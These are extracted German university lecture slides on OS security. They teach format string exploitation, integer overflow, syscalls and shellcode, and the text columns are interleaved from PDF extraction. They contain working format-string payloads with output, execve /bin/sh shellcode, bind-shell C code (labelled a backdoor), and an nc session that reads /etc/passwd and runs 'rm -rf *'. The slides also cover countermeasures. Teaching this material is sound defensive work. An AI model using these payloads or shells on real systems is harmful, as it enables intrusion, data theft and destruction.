entsprechend formatiert wird (SP wird entsprechend
angepaßt)
I
%s: ZK, auf die TOS verweist, wird ausgegeben (terminiert,
wenn \0 gelesen)
I
%n: schreibt Anzahl bereits ausgegebener Bytes in
Variable, auf die TOS verweist (Schreiboperation auf
Stack!)
I
→ keine Prüfung auf Art und Anzahl der Argumente zur
Übersetzungszeit möglich
69 / 109
70 / 109
Beispiel für Nutzung von printf()
Explizite Adressierung von Argumenten
printf-ex.c
#include <stdio.h>
int main(int argc, char *argv[])
{
char string[7] = "sample";
int A = -72;
unsigned int B = 31337;
int count_one, count_two;
/* Example of printing with different format string */
printf("[A] Dec: %d, Hex: %x, Unsigned: %u\n", A, A, A);
printf("[B] Dec: %d, Hex: %x, Unsigned: %u\n", B, B, B);
printf("[field width on B] 3: ’%3u’, 10: ’%10u’, ’%08u’\n", B, B, B);
printf("[string] %s Address %08x\n", string, string);
I
Zur direkten Adressierung von Argumenten im
Formatstring dient der ’$’-Operator
I
Zählung ab 1
#include <stdio.h>
int main(void)
{
printf("%2$s%1$s%3$s%1$s\n", "otz", "H", "enpl");
return 0;
}
/* Example of unary address operator and a %x format string */
printf("count_one is located at: %08x\n", &count_one);
printf("count_two is located at: %08x\n", &count_two);
/* Example of a %n format string */
printf("The number of bytes written up to this point X%n is being stored \
in count_one, and the number of bytes up to here X%n is being stored in \
count_two.\n", &count_one, &count_two);
printf("count_one: %d\n", count_one);
printf("count_two: %d\n", count_two);
Beispiel für Nutzung des $-Operanden im Formatstring
/* Stack Example */
printf("A is %d and is at %08x. B is %u and is at %08x.\n", A, &A, B, &B);
return 0;
}
71 / 109
72 / 109
12
Stacklayout
Beispiel für verwundbare Funktion
fmt_vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
printf("A is %d and is at %08x. B is %u and is at %08x.\n", A, &A, B, &B);
int main(int argc, char *argv[])
{
char text[1024];
static int test_val = -72;
if(argc < 2){
printf("Usage: %s <text to print>\n", argv[0]);
exit(0);
}
strcpy(text, argv[1]);
Adresse von B
Wert von B
Parameter von
printf()
Adresse von A
/* The right way to print user-controlled input: */
printf("The right way:\n");
printf("%s", text);
Wert von A
Adresse des
fmtstring
<RET>
/* The wrong way to print user-controlled input: */
printf("\nThe wrong way:\n");
printf(text);
SP
printf("\n");
/* Debug output */
printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);
return 0;
Low
}
73 / 109
74 / 109
bisschen ausprobieren . . .
Gezieltes Auslesen einer Adresse
deadbeef.c
robge@hadrian$ ./fmt_vuln Ni%x
The right way:
Ni%x
The wrong way:
Nibffff3e4
#include <stdio.h>
int main(void)
{
printf ("\xef\xbe\xad\xde_%08x.%08x.%08x.%08x|%s|")
;
return 0;
}
(im Datensegment)
robge@hadrian$ ./fmt_vuln ‘perl -e ’print "%08x."x40;’‘
The right way:
08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.
08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.
08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.
The wrong way:
bffff334.b7ff3de7.b80016a4.bffff750.78383025.3830252e.30252e78.252e7838.2e783830.
78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.
2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.
252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.
30252e78.252e7838.2e783830.78383025.
[*] test_val @ 0x08049794 = -72 0xffffffb8
I
"\xef\xbe\xad\xde_%08x.%08x.%08x.%08x|%s|"
SP += 4
Argument des
printf()−Rufs
<RET>
sfp
Low
Stack auslesbar
Abbildung: Zustand des Stacks nach Eintritt in printf()
76 / 109
Auslesen mittels fmt_vuln
%08x-Platzhalter bewegen SP so weit, bis fmt-string (1.
Argument des printf()-Rufes) TOS ist
$ ./fmt_vuln ‘printf "\x89\xfd\xff\xbf"‘%x%x%x%x:%s:
The right way:
ýÿ¿%x%x%x%x:%s:
The wrong way:
ýÿ¿bffff3f4b7ff3de7b80016a4bffff810:PATH=/usr/local/bin:
/usr/bin:/bin:/usr/bin/X11:/usr/games:~/bin:/opt/uClinux
/bfin-elf/bin/:/opt/uClinux/bfin-uclinux/bin:/opt/uClinu
x/bfin-linux-uclibc/bin:
%s-Platzhalter gibt Zeichenkette aus, die durch TOS
referenziert wird
→ Dump (im Beispiel) des Speicherinhalts ab Adresse
0xdeadbeef
→ beliebige Adressen als Zeichenketten-Dump auslesbar
I
Zeichenkette ab Adresse 0xdeadbeef wird
mittels %s ausgegeben.
SP
Gezieltes Auslesen
I
FP
local vars
75 / 109
I
fmt−string
Beendigung bei Lesen eines ’\0’-Bytes
77 / 109
78 / 109
13
Beschreiben beliebiger Adressen
Schreiben beliebiger Werte
fmtstring-ex2.c
#include <stdio.h>
int main(void)
{
unsigned char canary[5];
unsigned char foo[4];
memset(foo, ’\x00’, sizeof(foo));
/* 0 before */ strcpy(canary, "AAAA");
printf("canary: %02x%02x%02x%02x\n", canary[0],
canary[1],
canary[2], canary[3]);
/* 1 */ printf("%16u%n", 7350, (int*) &foo[0]);
/* 2 */ printf("%32u%n", 7350, (int*) &foo[1]);
/* 3 */ printf("%64u%n", 7350, (int*) &foo[2]);
/* 4 */ printf("%128u%n", 7350, (int*) &foo[3]);
/* 5 after */ printf("%02x%02x%02x%02x\n", foo[0],
foo[1],
foo[2], foo[3]);
printf("canary: %02x%02x%02x%02x\n", canary[0],
canary[1],
canary[2], canary[3]);
return 0;
}
Idee: gleiche Technik wie beim Auslesen, jedoch Beschreiben
mittels ’%n’-Platzhalter:
$ ./fmt_vuln ‘printf "\x94\x97\x04\x08"‘%x.%x.%x.%x%n
The right way:
x.%x.%x.%x%n
The wrong way:
bffff3e4.b7ff3de7.b80016a4.bffff800
[*] test_val @ 0x08049794 = 39 0x00000027
Problem: geschriebener Wert hängt von Anzahl ausgegebener
Zeichen ab
Idee: Beeinflussung mittels Feldbreite-Option
79 / 109
Ablauf der Schreibzugriffe beim Schreiben beliebiger
Werte
[0]
80 / 109
Anmerkungen
foo
canary
[1] [2] [3] [0] [1] [2] [3] [4]
I
1 Byte pro printf()-Aufruf geschrieben
I
unmittelbar davor befindliche 3 Bytes werden mit dieser
Technik überschrieben (hier: Variable canary)
/* 0 */
0x00 0x00 0x00 0x00 0x41 0x41 0x41 0x41 0x00
/* 1 */
0x10 0x00 0x00 0x00 0x41 0x41 0x41 0x41 0x00
I
Voraussetzung: unausgerichteter Schreibzugriff möglich
/* 2 */
0x10 0x20 0x00 0x00 0x00 0x41 0x41 0x41 0x00
I
in ein- und demselben Formatstring können offenbar nur
aufsteigende Werte geschrieben werden (warum?)
/* 3 */
0x10 0x20 0x40 0x00 0x00 0x00 0x41 0x41 0x00
/* 4 */
0x10 0x20 0x40 0x80 0x00 0x00 0x00 0x41 0x00
81 / 109
82 / 109
Schreiben beliebiger Werte in einem Formatstring
Schreiben ohne Monotonie
fmtstring-ex3.c
#include <stdio.h>
int main(void)
{
unsigned char canary[5];
unsigned char foo[4];
memset(foo, ’\x00’, sizeof(foo));
/* 0 before */ strcpy(canary, "AAAA");
printf("canary: %02x%02x%02x%02x\n", canary[0], canary[1],
canary[2], canary[3]);
/* 1-4 in one string */
printf("%16u%n%16u%n%32u%n%64u%n", 1 , (int*) &foo[0], 1,
(int*) &foo[1], 1, (int*) &foo[2], 1, (int*) &foo[3]);
/* 5 after */ printf("\nfoo:
%02x%02x%02x%02x\n",
foo[0], foo[1], foo[2], foo[3]);
printf("canary: %02x%02x%02x%02x\n", canary[0], canary[1],
canary[2], canary[3]);
return 0;
}
I
Subtraktion bei %n-Platzhalter unmöglich
I
Wert wrappt jedoch um (Byte)
für das vorige Beispiel also
printf("%128u%n%192u%n%224u%n%240u%n", 1 , (int*) &
foo[0],
1, (int*) &foo[1], 1, (int*) &foo[2], 1, (int*) &
foo[3]);
, um 0x80402010 in die Variable foo zu schreiben
83 / 109
84 / 109
14
Schreiben ohne Monotonie, Beispiel 2
Verwundbares Programm, die zweite
fmtstring-ex1.c
#include <stdio.h>
int main(void)
{
char outbuf[512];
char buffer[512];
sprintf (buffer, "ERR Wrong command: %400s", user);
sprintf (outbuf, buffer);
return 0;
}
$ ./fmt_vuln ‘printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08
JUNK\x96\x97\x04\x08JUNK\x97\x97\x04\x08"‘%x%x%x%169x%n%23
9x%n%239x%n%239x%n
The right way:
JUNJUNJUN%x%x%x%169x%n%239x%n%239x%n%239x%n
The wrong way:
JUNJUNJUNbffff3b4b7ff3de7b80016a4
[*] test_val @ 0x08049794 = -1430532899 0xaabbccdd
I
durch Nutzung von % -Platzhaltern in user kann outbuf
zum Überlauf gebracht werden
I
Beispiel: user = "%200d<nops><shellcode>"
buffer = ERR Wrong Command: ... %200d<nops><shellcode>
I
klassischer Buffer Overflow möglich
85 / 109
86 / 109
Verwundbares Programm, die zweite
Gegenmaßnahmen gegen Formatstring-Angriff
fmtstring-ex1.c
#include <stdio.h>
int main(void)
{
char outbuf[512];
char buffer[512];
sprintf (buffer, "ERR Wrong command: %400s", user);
sprintf (outbuf, buffer);
return 0;
}
I
durch Nutzung von % -Platzhaltern in user kann outbuf
zum Überlauf gebracht werden
I
Beispiel: user = "%200d<nops><shellcode>"
I
Niemals nutzergenerierte Zeichenketten als Formatstring
interpretieren!
I
GCC kennt (neuerdings) verschiedene Schalter, die
potentiell gefährliche printf()-Aufrufe entdecken:
gcc -Wformat -Wformat-security fmt_vuln.c
fmt_vuln.c: In function ’main’:
fmt_vuln.c:22: warning: format not a string literal and no
format arguments
fmt_vuln.c:26: warning: format ’%08x’ expects type ’unsigned
int’, but argument 2 has type ’int *’
buffer = ERR Wrong Command: ... %200d<nops><shellcode>
I
klassischer Buffer Overflow möglich
87 / 109
88 / 109
Formatstring-Angriffe
Leseempfehlungen
Zusammenfassung
Ziel: printf()-Familie
Angriffsidee:
I
Manipulation des Formatstring (Anzahl und Art der
Platzhalter)
Formen des Angriffs:
I
Provokation eines Absturzes (DoS)
I
Ausspähen des Hauptspeichers
I
gezielte Schreibzugriffe mittels ’%n’-Platzhalter
Im Gegensatz zum Buffer Overflow kann mittels
Formatstring-Attacke eine beliebige Adresse manipuliert
werden!
Erster publizierter Angriff:
http://seclists.org/bugtraq/1999/Sep/0328.html
89 / 109
I
Jon Erickson. Hacking: The Art of Exploitation. 2. Aufl. No
Starch Press, 2008
I
“Solar Designer”. Getting around non-executable stack
(and fix). Mail to BugTraq Mailinglist. Aug. 1997
I
“scut/team teso”. Exploiting Format String Vulnerabilities.
Sep. 2001
I
“gera” and “riq”. “Advances in format string exploitation”.
In: Phrack 11.59 (Juli 2002). URL: http:
//www.phrack.org/issues/59/7.html#article
90 / 109
15
Heap-Overflow
I
Idee: Manipulation von auf dem Heap angelegten
Variablen durch das Überfluten eines unmittelbar davor
gelegenen Puffers
I
keine Rückkehradresse → implizite Manipulation des
Programmflusses unmöglich
I
Reihenfolge der Adressen abhängig von
Allokationsreihenfolge
I
Exploit weniger regulär (abhängig vom Typ der
manipulierten Information)
Integer-Overflow
Idee: Überlauf des Zahlenbereichs von Integervariablen führt
zu negativen Zahlen, die in Vergleichsoperationen und als
Funktionsargumente unterschiedlich interpretiert werden.
I
kein Schadcode ausführbar
I
Ziel: DoS
Literatur: “blexim”. “Basic Integer Overflows”. In: Phrack 11.60
(Dez. 2002). URL: http:
//www.phrack.org/issues/60/10.html#article
92 / 109
91 / 109
Integer-Overflow
Beispiel
int copybuffer (char *buffer, int len)
{
char mybuffer[800];
if (len > sizeof(mybuffer)) {
return -1;
}
return memcpy(mybuffer, buffer, len);
}
Angriffscode
Typisches Beispiel eines Vorzeichen-Bugs
Analyse:
I
memcpy erwartet unsigned int als 3. Parameter
I
negatives len durch Test nicht erkannt
I
→ wird als (sehr große) Längenangabe interpretiert
I
Überlauf von mybuffer
93 / 109
94 / 109
Shellcode
Shellcode – Merkmale
Motivation
„The best way to develop your skill in detecting and
securing against shellcode is to first master the art of
writing it.“ (Foster, S. 56)
Literatur:
I
James C. Foster u. a. Buffer Overflow Attacks. Syngress,
Feb. 2005, Chapter 3
I
Chris Anley u. a. The Shellcoder’s Handbook. 2. Aufl.
Wiley, Aug. 2007
I
“smiler”. The Art of Writing Shellcode. o. J.
I
http://www.shell-storm.org/shellcode/
I
= Code, der in ein Programm (nachträglich und illegal)
eingefügt und ausgeführt wird
I
Angriffscode für verschiedene Attacken
I
in Assembler programmiert (Warum?)
I
sehr klein (Size matters!)
I
effizient
I
sehr system- und architekturspezifisch
I
Einsatz von Systemrufen oder libc-Funktionen
I
keine Fehlerprüfung: entweder es geht oder nicht
(hier: Beschränkung auf IA32 unter Linux ; die Prinzipien unter Windows
differieren teilweise erheblich, vgl. Anley at al)
95 / 109
96 / 109
16
Systemruf
Prinzip eines Systemrufs
I
BS bietet dem Programmierer Funktionen, diese werden
über Systemrufe zur Verfügung gestellt
I
Gesamtheit aller Systemrufe eines BS ist dessen
Application Programmer’s Interface (API)
I
Nutzung analog den Funktionen einer Bibliothek mit einem
Unterschied: Diensterbringung erfolgt im Kernel Mode
I
→ gewöhnlicher Funktionsaufruf als Mechanismus
unbrauchbar!
I
Systemrufe können blockieren!
I
Beispiele: fork(), read(), mmap(), semget()
User Mode
Kernel Mode
Applikation
Betriebssystem
f
Systemru
System−
dienst
98 / 109
97 / 109
Prinzipieller Ablauf beim Systemruf read()
Ablauf von WriteFile() in Windows 2000/XP/Vista
Win32 application
count = read(fd, buffer, nbytes);
Call WriteFile(...)
user space
KERNEL32.DLL
Call NtWriteFile()
Return to Caller
NtWriteFile()
in NTDLL.DLL
int 0x2e
Return to Caller
WriteFile() in
return to caller
library
call
TRAP into kernel
5
put # for read in register
10
4
11
Win32−
specific
Used by all
subsystems
9
adjust stack
6
User Mode
call read
3
user
program
push fd
2
push &buffer
1
push nbytes
Kernel Mode
Software Interrupt
SystemService in
NTOSKRNL.EXE
kernel
space
dispatch
syscall
7
8
syscall
handler
NtWriteFile() in
NTOSKRNL.EXE
Call NtWriteFile()
Dismiss Interrupt
Do the Operation
Return to Caller
(David Solomon: Inside Windows 2000, Microsoft Press)
99 / 109
Was geschieht bei einem Linux-Systemruf?
100 / 109
Beispiel
Architektur: IA32 (aka Intel-PC)
robge@hadrian:~$ cat exit.c
#include <stdlib.h>
I
Systemrufnummer in EAX
I
Argumente in EBX, ECX, EDX, ESI, EDI, EBP (in dieser
Reihenfolge)
I
Systemeintritt durch int 0x80
I
(Systemdienst wird im Kernelmode ausgeführt)
I
Resultatwert in EAX
I
Systemaustritt mittels iret
int main(void)
{
exit(0);
}
robge@hadrian:~$ gcc -static -o exit exit.c
robge@hadrian:~$ objdump -d exit
...
0804db7c <_exit>:
804db7c:
8b 5c 24 04
mov
0x4(%esp),%ebx
804db80:
b8 fc 00 00 00
mov
$0xfc,%eax
804db85:
cd 80
int
$0x80
804db87:
b8 01 00 00 00
mov
$0x1,%eax
804db8c:
cd 80
int
$0x80
804db8e:
f4
hlt
804db8f:
90
nop
...
Systemrufnummern: http://asm.sourceforge.net/syscall.html
101 / 109
102 / 109
17
„Hello, world!“ als Shellcode
Beispiel: Aufruf einer Shell
.text
.global _start
_start:
code:
xorl %eax, %eax
xorl %ebx, %ebx
xorl %edx, %edx
jmp string
/* push string addr */
pop %ecx
movb $01, %bl
movb $15, %dl
movb $04, %al
int $0x80
decb %bl
movb $01,%al
int $0x80
/*
/*
/*
/*
I
„Klassiker“, tausende Varianten
I
nutzen typischerweise execve in folgender Manier:
# i n c l u d e < s t d i o . h>
i n t main ( v o i d )
{
char ∗cmd = "/bin/sh" ;
char ∗ args [ 2 ] ;
ecx <-- string addr */
filedesc, stdout */
string lgth */
’write(stdout, addr, lgth)’ */
args [ 0 ] = "robixd" ;
args [ 1 ] = NULL ;
/* ’exit(0)’ */
}
string:
execve ( cmd , args , NULL ) ;
call code
.ascii "Hello, world!\x0a\x00"
104 / 109
103 / 109
Aufruf einer Shell
Bindung der Shell an einen Port
Nachbau in Assembler
Implementierung in C
# i n c l u d e < n e t i n e t / i n . h>
.text
.global _start
i n t soc , c l i ;
s t r u c t s o c k a dd r _ in serv_addr ;
_start:
jmp callit
i n t main ( )
{
serv_addr . s i n _ f a m i l y =2;
serv_addr . s i n _ a d d r . s_addr =0;
serv_addr . s i n _ p o r t =0xAAAA ;
doit:
popl %ebx
xorl %eax, %eax
cdq
movb %al, 7(%ebx)
movl %ebx, 8(%ebx)
movl %eax, 12(%ebx)
leal 8(%ebx),%ecx
movb $0x0b, %al
int $0x80
/*1* ebx <-- &"/bin/sh" */
/* eax <-- 0 */
/* edx:eax <-- eax */
/*2* zeroterminate "/bin/sh" */
/*3* args[0] = &"/bin/sh" */
/*4* args[1] = NULL */
/*5* ecx <-- &args */
/* execve() */
callit:
call doit
.ascii "/bin/sh"
}
105 / 109
„Anwendungsbeispiel“ für Bindshell
I
I
I
106 / 109
Weiterführende Aspekte
robge@idir:~$ nc 192.168.178.21 43690
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
...
rm -rf *
...
exit
I
soc= s o c k e t ( 2 , 1 , 0 ) ;
b i n d ( soc , ( s t r u c t sockaddr ∗ )&serv_addr , 0 x10 ) ;
l i s t e n ( soc , 1 ) ;
c l i = accept ( soc , 0 , 0 ) ;
dup2 ( c l i , 0 ) ;
dup2 ( c l i , 1 ) ;
dup2 ( c l i , 2 ) ;
execve ( "/bin/sh" , 0 , 0 ) ;
dup2() ersetzt die stdin, stdout und stderr mit cli
Achtung! Das ist eine Backdoor.
Syscall-Folge: socket() → bind() → listen() →
accept() → dup2() (3x) →execve()
I
Reverse Connection Shellcode – angegriffener Rechner
initiiert Verbindung
I
Socket Reusing – Erraten des Filedeskriptors eines bereits
im angegriffenen Programm eröffneten Sockets und
Nutzung desselben
I
Shellcode, der toupper() oder tolower() unbeschadet
übersteht
I
Windows-Shellcode
I
Encoding Shellcode
I
Shellcode für mehrere Systeme (z. B. Linux und *BSD)
benötigt < 100 Bytes in Assembler (!)
107 / 109
108 / 109
18
Was haben wir gelernt?
I
Grundbegriffe der BS-Sicherheit
I
(sichere) Implementierung von
Authentifizierungsmechanismen
I
Buffer Overflow und Gegenmaßnahmen: Stackguard,
Stackshield, W⊕X, ASLR
I
Return-into-Libc-Exploit
I
Format-String-Attacken
I
Was ist eine Bindshell?
I
Fazit: Das ist erst der Anfang der Thematik!
109 / 109
19